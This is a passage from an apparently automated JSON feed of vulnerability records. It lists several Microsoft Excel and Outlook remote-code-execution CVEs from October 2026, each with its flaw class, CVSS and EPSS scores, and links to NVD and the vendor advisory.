NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97747","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97747&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97747, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97746","cveId":"CVE-2026-97746","aliases":[],"kind":"vulnerability","title":"Integer underflow (wrap or wraparound) in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Integer underflow (wrap or wraparound) in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Integer underflow (wrap or wraparound) in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:11.953Z","updatedAt":"2026-10-15T21:19:28.490Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97746","asOf":"2026-10-15T21:19:28.490Z"},"epss":{"probability":0.00859,"percentile":0.58192,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97746&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97746","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97746","type":"primary","publishedAt":"2026-10-13T19:22:11.953Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97746","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97746&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97746, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97745","cveId":"CVE-2026-97745","aliases":[],"kind":"vulnerability","title":"Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:11.823Z","updatedAt":"2026-10-15T21:19:28.367Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97745","asOf":"2026-10-15T21:19:28.367Z"},"epss":{"probability":0.00929,"percentile":0.60316,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97745&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97745","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97745","type":"primary","publishedAt":"2026-10-13T19:22:11.823Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97745","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97745&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97745, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97742","cveId":"CVE-2026-97742","aliases":[],"kind":"vulnerability","title":"Stack-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Stack-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Stack-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:11.440Z","updatedAt":"2026-10-15T21:19:27.987Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97742","asOf":"2026-10-15T21:19:27.987Z"},"epss":{"probability":0.00929,"percentile":0.60317,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97742&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97742","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97742","type":"primary","publishedAt":"2026-10-13T19:22:11.440Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97742","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97742&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97742, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97741","cveId":"CVE-2026-97741","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:11.317Z","updatedAt":"2026-10-15T21:19:27.873Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97741","asOf":"2026-10-15T21:19:27.873Z"},"epss":{"probability":0.00929,"percentile":0.60317,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97741&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97741","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97741","type":"primary","publishedAt":"2026-10-13T19:22:11.317Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97741","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97741&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97741, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97739","cveId":"CVE-2026-97739","aliases":[],"kind":"vulnerability","title":"Integer underflow (wrap or wraparound) in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Integer underflow (wrap or wraparound) in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Integer underflow (wrap or wraparound) in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:11.050Z","updatedAt":"2026-10-15T21:19:27.627Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97739","asOf":"2026-10-15T21:19:27.627Z"},"epss":{"probability":0.0082,"percentile":0.57004,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97739&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97739","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97739","type":"primary","publishedAt":"2026-10-13T19:22:11.050Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97739","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97739&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97739, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97738","cveId":"CVE-2026-97738","aliases":[],"kind":"vulnerability","title":"Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:10.800Z","updatedAt":"2026-10-15T21:19:27.503Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97738","asOf":"2026-10-15T21:19:27.503Z"},"epss":{"probability":0.00859,"percentile":0.58195,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97738&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97738","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97738","type":"primary","publishedAt":"2026-10-13T19:22:10.800Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97738","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97738&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97738, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97017","cveId":"CVE-2026-97017","aliases":[],"kind":"vulnerability","title":"Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:10.647Z","updatedAt":"2026-10-15T21:19:27.383Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97017","asOf":"2026-10-15T21:19:27.383Z"},"epss":{"probability":0.00758,"percentile":0.54937,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97017&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97017","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97017","type":"primary","publishedAt":"2026-10-13T19:22:10.647Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97017","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97017&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97017, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97012","cveId":"CVE-2026-97012","aliases":[],"kind":"vulnerability","title":"Stack-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.","summary":"Stack-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.","detail":"Stack-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:10.293Z","updatedAt":"2026-10-15T16:16:06.930Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97012","asOf":"2026-10-15T16:16:06.930Z"},"epss":{"probability":0.00738,"percentile":0.54248,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97012&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97012","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97012","type":"primary","publishedAt":"2026-10-13T19:22:10.293Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97012","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97012&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97012, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97011","cveId":"CVE-2026-97011","aliases":[],"kind":"vulnerability","title":"Use of uninitialized resource in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Use of uninitialized resource in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Use of uninitialized resource in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:10.170Z","updatedAt":"2026-10-15T21:19:27.087Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97011","asOf":"2026-10-15T21:19:27.087Z"},"epss":{"probability":0.00841,"percentile":0.57618,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97011&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97011","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97011","type":"primary","publishedAt":"2026-10-13T19:22:10.170Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97011","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97011&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97011, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97010","cveId":"CVE-2026-97010","aliases":[],"kind":"vulnerability","title":"Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:10.050Z","updatedAt":"2026-10-15T21:19:26.960Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97010","asOf":"2026-10-15T21:19:26.960Z"},"epss":{"probability":0.00841,"percentile":0.57619,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97010&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97010","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97010","type":"primary","publishedAt":"2026-10-13T19:22:10.050Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97010","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97010&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97010, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97009","cveId":"CVE-2026-97009","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code locally.","summary":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code locally.","detail":"Heap-based buffer overflow in Microsoft Office Excel allows an unauthorized attacker to execute code locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:09.930Z","updatedAt":"2026-10-14T16:48:01.117Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97009","asOf":"2026-10-14T16:48:01.117Z"},"epss":{"probability":0.00323,"percentile":0.25036,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97009&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97009","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97009","type":"primary","publishedAt":"2026-10-13T19:22:09.930Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97009","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97009&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97009, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97008","cveId":"CVE-2026-97008","aliases":[],"kind":"vulnerability","title":"Buffer underwrite ('buffer underflow') in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","summary":"Buffer underwrite ('buffer underflow') in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.","detail":"Buffer underwrite ('buffer underflow') in Microsoft Office Excel allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of 